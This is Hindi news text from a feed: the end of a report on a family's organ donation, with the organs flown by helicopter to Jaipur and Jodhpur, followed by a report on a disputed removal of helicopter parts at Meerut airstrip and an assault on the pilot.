परिवार की मिसाल : 4 लोगों को मिला नया जीवन
विष्णु के परिवार का यह निर्णय 4 जरूरतमंद मरीजों के लिए जीवनदान साबित हुआ। यह घटना न केवल मेडिकल फील्ड के लिए मील का पत्थर है बल्कि समाज को अंगदान के प्रति जागरूक भी करती है।

विशेषज्ञों की राय :
एसएमएस मेडिकल कॉलेज के डॉक्टर्स के अनुसार, "अंगों को सुरक्षित समय पर ट्रांसप्लांट सेंटर तक पहुंचाने के लिए हेलिकॉप्टर का इस्तेमाल एक क्रांतिकारी कदम है। इससे ट्रांसप्लांट की सफलता दर और मरीजों की रिकवरी बेहतर होती है।" झालावाड़ से जयपुर और जोधपुर तक जीवन की इस उड़ान ने दिखा दिया कि सही समय पर सही फैसले से असंभव को संभव बनाया जा सकता है। विष्णु के परिवार का यह महान कदम आने वाले समय में अन्य परिवारों को भी अंगदान के लिए प्रेरित करेगा।

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मेरठ में हवाई अड्डे पर खड़े हेलीकॉप्टर के पुर्जें-पुर्जें खोल ले गए, पायलट से भी की मारपीट https://pratyushaashakinayikiran.com/?p=69414 Thu, 12 Sep 2024 15:46:00 +0000 https://pratyushaashakinayikiran.com/?p=69414  मेरठ

उत्तर प्रदेश के मेरठ में हवाई पट्टी पर खड़े एक हेलीकॉप्टर के पुर्जे खोलकर ले जाने का सनसनीखेज मामला सामने आया है. हवाई पट्टी पर 10-15 लोग घुसे और उन्होंने हेलीकॉप्टर के पुर्जे-पुर्जे खोल लिए. इस बीच जब पायलट ने रोकने की कोशिश तो उसके साथ मारपीट भी की. पायलट का आरोप है कि उसने पुलिस से इस मामले की शिकायत की, लेकिन कोई एक्शन नहीं लिया गया. अब इसकी शिकायत एसएसपी से की गई है, जिसके बाद मामले की जांच शुरू की गई है.  

हेलीकॉप्टर के पायलट कैप्टन रविंद्र सिंह की ओर से मेरठ के एसएसपी को एक प्रार्थना पत्र दिया गया है, जिसमें परतापुर हवाई पट्टी से हेलिकॉप्टर VT-TBB के पुर्जे खोलकर ले जाने की शिकायत की गई है. इसमें पायलट ने कहा कि करीब तीन बजे एक टेक्नीशियन ने मुझे फोन पर बताया कि कुछ लोग हेलीकॉप्टर से पुर्जे खोल रहे हैं.  

15-20 लोगों ने खोले हेलीकॉप्टर के पुर्जे

पायलट ने कहा कि चूंकि मैं हेलीकॉप्टर का पायलट हूं और इसकी जिम्मेदारी मेरी है. इसलिए मैं तुरंत हेलीपेड पहुंचा और देखा कि 15-20 लोग हेलीकॉप्टर के पुर्जे खोल रहे हैं. मैंने उन्हें रोकने की कोशिश की तो उन्होंने मेरे साथ मारपीट की और मुझे मारने की धमकी भी दी. मैंने इसकी जानकारी तुरंत परतापुर थाने को फोन पर दी और पुलिस तुरंत घटनास्थल पर पहुंच गई. इतना ही नहीं पुलिस लोगों को थाने भी ले आई. यह घटना 10 मई 2024 की बताई जा रही है.  

SSP मेरठ ने सीओ को सौंपी जांच

पायलट ने आगे कहा कि मैं इस हेलीकॉप्टर का पायलट और इस कंपनी का सीईओ व डायरेक्टर हूं. इसको लेकर मैंने DGCA को 31 अक्टूबर, 2023 को एक पत्र भी दिया हुआ है. जिसकी कॉपी संलग्न है. इस मामले का संज्ञान लेते हुए एसएसपी ने पूरे मामले की जांच सीओ ब्रह्मपुरी को सौंप दी है और जल्द ही रिपोर्ट मांगी है. वहीं इस मामले में मेरठ के एसएसपी का कहना है कि हेलीकॉप्टर लूट की कोई घटना नहीं है. यह घटना करीब तीन महीने पुरानी है, जो कि दो पार्टनरों में विवाद की मामला है.

 

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